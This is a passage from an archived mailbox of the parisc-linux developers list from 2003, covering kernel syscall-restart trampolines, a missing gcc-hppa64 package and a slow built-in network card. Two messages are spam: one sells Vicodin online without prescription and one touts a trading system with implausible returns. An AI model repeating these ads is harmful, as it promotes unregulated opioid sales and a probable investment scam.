	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19928

> +			 * 16: ldw 16(%r21), %rp
> +			 * 20: bv %r0(%rp)

btw, this comment is wrong, it's actually
> +			 * 16: ldw 16(%r21), %r20
> +			 * 20: bv %r0(%r20)

trashing rp in a syscall is a bad idea ;-)

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Denis Vera" <imu409v@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US Stock Market: TRHL - Last Pick From .45 to 1.18...azra
Date: Sat, 25 Oct 2003 05:31:06 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <97ssm-31gw-4700u0u219y6@we7zri978.hb>
Reply-To: "Denis Vera" <imu409v@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="8_4EAAF856786F.3F2C"
X-Trace: ger.gmane.org 1416622908 509 80.91.229.3 (22 Nov 2014 02:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 02:39:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A0924840
	for <parisc-linux@parisc-linux.org>; Sun, 26 Oct 2003 02:39:22 -0700 (MST)
Original-Received: from 156.153.254.40 (unknown [200.68.27.4])
	by cuprel1.hp.com (Postfix) with SMTP id 6B1A0D6A
	for <parisc-linux@parisc-linux.org>; Sun, 26 Oct 2003 01:39:20 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19929

--8_4EAAF856786F.3F2C
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

VICODIN Is Here

FRE.E-shipping on a 3 month supply (90-count)



www.rxanytime.biz/superstore



Vicodin ES 30 tablets - 4.63 per tablet

ES 90 tablets - 2.32 per tablet - BEST DEAL - Plus FRE.E-SHIPPING



www.rxanytime.biz/superstore





No more ads - www.rxanytime.biz/a.html


















qxht fxxmw j

--8_4EAAF856786F.3F2C--



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-hppa64 failled to install on my c110
Date: Sun, 26 Oct 2003 14:06:18 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <3F9BD4DA.6020906@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622908 512 80.91.229.3 (22 Nov 2014 02:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:48 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 07:06:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4E724840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 07:06:20 -0700 (MST)
Original-Received: from [62.235.120.116] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADlX9-00024D-2J; Sun, 26 Oct 2003 15:06:19 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19930

Hi all,

I try to apt-get install gcc-hppa64 (having added <deb 
http://ftp.parisc-linux.org/ unofficial-debs/> entry in my sources.list)
on my c110 (a fresh debian/unstable install) but it fails with following 
message:
hpalin:/Debian-apt/Debian4hppa# apt-get install gcc-hppa64
Reading Package Lists... Done
Building Dependency Tree... Done
The following NEW packages will be installed:
   gcc-hppa64
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 16.1MB of archives.
After unpacking 39.0MB of additional disk space will be used.
Err http://ftp.parisc-linux.org unofficial-debs/ gcc-hppa64 1:3.2.3-0.1
   404 Not Found
Failed to fetch 
http://ftp.parisc-linux.org/./gcc-hppa64_3.2.3-0.1_hppa.deb  404 Not Found
E: Unable to fetch some archives, maybe run apt-get update or try with 
--fix-missing?

What do I wrong?
And gcc-hppa64_3.2.3-0.1_hppa.deb isn't anymore in  unofficial-debs, 
what do i miss?

Thanks in advance for help,
	Joel



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-hppa64 failled to install on my c110
Date: Sun, 26 Oct 2003 07:16:38 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20031026151638.GJ24406@tausq.org>
References: <3F9BD4DA.6020906@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622908 515 80.91.229.3 (22 Nov 2014 02:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:48 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 08:14:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 608A94840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 08:14:13 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7B6C4CD2F8; Sun, 26 Oct 2003 07:16:38 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3F9BD4DA.6020906@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19931

> What do I wrong?
> And gcc-hppa64_3.2.3-0.1_hppa.deb isn't anymore in  unofficial-debs, 
> what do i miss?

hm.. i  guess nobody regenerated the Packages.gz file after the deb got
removed.... there were some problems with that gcc deb so i removed it
quite some time ago.

i've been testing gcc-3.3 based compilers for hppa64-linux, but they
don't seem to build working kernels. still need to investigate.

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Billy Carey" <pzbbta@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] INVESTORS: Blue-Chip, Stock-Trading System---77% Return---Automated...kuma
Date: Sun, 26 Oct 2003 14:26:41 -0100
Lines: 52
Approved: news@gmane.org
Message-ID: <xpqctu-1$f07$q$e6r6k$1$2o$8$-i3@x2i7p>
Reply-To: "Billy Carey" <pzbbta@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".ACF1EDEE0D2."
X-Trace: ger.gmane.org 1416622909 516 80.91.229.3 (22 Nov 2014 02:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 08:31:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [218.146.247.41])
	by dsl2.external.hp.com (Postfix) with SMTP id 8B6194840
	for <parisc-linux@parisc-linux.org>; Sun, 26 Oct 2003 08:31:44 -0700 (MST)
Original-Received: from [112.0.23.216]
	by 192.25.206.7 with ESMTP id <692050-67842>;
	Sun, 26 Oct 2003 14:26:41 -0100
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19932

--.ACF1EDEE0D2.
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Investors: Come see Wall Streets only scale-trading system for blue-chip s=
tocks - MainScale

We DO NOT TOUT INDIVIDUAL STOCKS - This is an automated, stock-trading sys=
tem for blue-chips only


www.mainscale4u.com/?032335


MainScale started on October 1, 2002

Here are the results our investors have enjoyed over the last year.

Banked return, 1-year: 77.98%

12 consecutive months of profitability

Trades---467
Gainers--442
Losers----15


www.mainscale4u.com/?032335


In fact, the longest period between profitable trades was just 6 days.

In less than 15 minutes a day, you can manage a profitable portfolio that =
will make you money in any type of market.



www.mainscale4u.com/?032335




No more advertisements, go here: www.mainscale4u.com/nomore.html=
yiuuhtnmttqm vdrztqaqv  g
nslcurnr
d
xnc
y 

--.ACF1EDEE0D2.--



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110 builtin nic slow?
Date: Sun, 26 Oct 2003 16:49:04 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <3F9BFB00.5090008@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622909 518 80.91.229.3 (22 Nov 2014 02:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:49 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 09:49:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2A294840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 09:49:05 -0700 (MST)
Original-Received: from [62.235.120.116] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADo4e-0000oT-9e; Sun, 26 Oct 2003 17:49:04 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19933

Hi all,

Here are the devices found on my c110 box:
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0x7, 0xb
2. SkyHawk 100/120 FW-SCSI (4) at 0xf3f8c000 [8/12], versions 0x1f, 0x0, 
0x89
3. Raven T' Core BA (11) at 0xffd00000 [8/16], versions 0x32, 0x0, 0x81, 
  additional addresses: 0xffd0c000 0xffc00000
4. Raven T' Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x32, 
0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000
5. Raven T' Audio (10) at 0xffd04000 [8/16/1], versions 0x32, 0x0, 0x7b
6. Raven T' Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x32, 
0x0, 0x8c
7. Raven T' Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x32, 0x0, 0x82
8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 
0x0, 0x8a
9. Raven T' Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x32, 
0x0, 0x84
10. Raven T' Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x32, 
0x0, 0x84
11. Raven T' Core PC Floppy (10) at 0xffd0a000 [8/16/10], versions 0x32, 
0x0, 0x83
12. Raven T' Wax BA (11) at 0xffe00000 [8/20], versions 0x1e, 0x0, 0x8e, 
  additional addresses: 0xffe03000 0xffe06000
13. Raven T' Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x1e, 0x0, 0x73
14. Raven T' Wax RS-232 (10) at 0xffe02000 [8/20/2], versions 0x1e, 0x0, 
0x8c
15. Raven T' Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x1e, 
0x0, 0x90,  additional addresses: 0xffc88400 0xf4000000
16. U2-IOA BC GSC+ Port (7) at 0xf3fbf000 [8/63], versions 0x501, 0x1, 
0xc,  additional addresses: 0xf3f80000
17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7, 0xb
18. Raven T' GSC Core Graphics (10) at 0xf4000000 [10/16], versions 
0x32, 0x0, 0x85,  additional addresses: 0xf0069000
19. U2-IOA BC GSC+ Port (7) at 0xf3fff000 [10/63], versions 0x501, 0x1, 0xc
20. Raven 120 T' (0) at 0xfffa0000 [32], versions 0x58e, 0x0, 0x4
21. Memory (1) at 0xfffb1000 [49], versions 0x49, 0x0, 0x9
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz

And, at the office, I use to obtain around nice 1Mb/s when I do such 
rsync or ftp between my b180 connected via a hub.

But here at home, I connect the builtin nic of my c110 with a 
cross-cable to my pc (proxy) and I just obtain 50kb/s (whatever the 
kernel I boot 2.4 or 2.6) (ie 20 time less then with a another pc 
connected in place of the c110). Is it possible to improve the 
performance of this builtin nic?

Thanks in advance,
	Joel



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 11:49:26 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <20031026164926.GE26587@systemhalted>
References: <20030812060244.GE21328@tausq.org> <20031026073751.GH24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622909 519 80.91.229.3 (22 Nov 2014 02:21:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 09:53:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EBFA4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 09:53:39 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ADo50-0008Oq-00; Sun, 26 Oct 2003 11:49:26 -0500
Content-Disposition: inline
In-Reply-To: <20031026073751.GH24406@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19934

On Sun, Oct 26, 2003 at 12:37:51AM -0700, Randolph Chung wrote:
> here's a patch that implements the required logic. probably can be
> improved some.... comments appreciated.
> 
> About __NR_restart_syscall, some archs use syscall #0 (unused for pa
> afaict), others define a new syscall number. Any preferences? If it's
> zero then i think i will remove the reassemble_14 logic.

I don't see why #0 can't be used here. Then again, why can't you code
the syscall number directly into the hex? Are you expecting it to
change? :)

> +		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
> +			unsigned int *usp = (unsigned int *)regs->gr[30];
> +
> +			/* Setup a trampoline to restart the syscall
> +			 * with __NR_restart_syscall
> +			 *
> +			 *  0: ble 0x100(%%sr2, %%r0)
> +			 *  4: ldi __NR_restart_syscall, %r20
> +			 *  8: b,l .+8, %r21
> +			 * 12: depi 0,31,2,%r21
> +			 * 16: ldw 16(%r21), %rp
> +			 * 20: bv %r0(%rp)
> +			 * 24: ldo -64(%sp), %sp

Adding stack here can be detremental to the userspace program. It's not
expecting you to have a stack, and it expects the syscall to live within 
its calling frame. When we setup the signal return trampoline we don't
mess with the stack either :) Though this context is different.

> +			 * 28: nop
> +			 * 32: <return address> (2 slots for 64-bit)
> +			 */

c.



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 26 Oct 2003 10:25:31 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20031026172531.GA32146@colo.lackof.org>
References: <3F9BFB00.5090008@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622910 522 80.91.229.3 (22 Nov 2014 02:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 10:25:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34D924840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 10:25:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DE48329803F; Sun, 26 Oct 2003 10:25:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32216-09; Sun, 26 Oct 2003 10:25:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F078729802E; Sun, 26 Oct 2003 10:25:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F9BFB00.5090008@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19935

On Sun, Oct 26, 2003 at 04:49:04PM +0000, Joel Soete wrote:
> 8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 
> 0x0, 0x8a

This is a 10Mb link.

> And, at the office, I use to obtain around nice 1Mb/s when I do such 
> rsync or ftp between my b180 connected via a hub.

Which protocol?

> But here at home, I connect the builtin nic of my c110 with a 
> cross-cable to my pc (proxy) and I just obtain 50kb/s (whatever the 
> kernel I boot 2.4 or 2.6) (ie 20 time less then with a another pc 
> connected in place of the c110). Is it possible to improve the 
> performance of this builtin nic?

Earlier this year I exchanged email with someone on linux-ia64 list with
a similar sounding problem. They were trying to NFS mount some exported
by the ia64-linux server but perf was ~80KB/s vs 50MB/s (1000BT) across
the same link to another ia64-linux box. We never found the root cause
since netperf demonstrated the UDP throughput was > 50MB/s (expected)
in the same config. I could only guess it was something in the NFS
stack having to do with 16K pages.

But thinking about this more, I'm wondering if some kernel code is
accessing misaligned data someplace in the networking stack.
The arguments I've heard is this is expected behavior.

Joel,
1) Can you verify dmesg has no misaligned data access reports?
2) Can you clarify how you are measuring performance?
   (ie which protocols and which tools?)
3) Can you setup/run netperf or httperf with the PC to verify whatever
   protocol you are using basically works?

grant


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 11:18:04 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <20031026191804.GM24406@tausq.org>
References: <20030812060244.GE21328@tausq.org> <20031026073751.GH24406@tausq.org> <20031026164926.GE26587@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622910 523 80.91.229.3 (22 Nov 2014 02:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 12:13:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1541E4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 12:13:59 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 87D06CD2F8; Sun, 26 Oct 2003 11:18:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031026164926.GE26587@systemhalted>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19936

> I don't see why #0 can't be used here. Then again, why can't you code
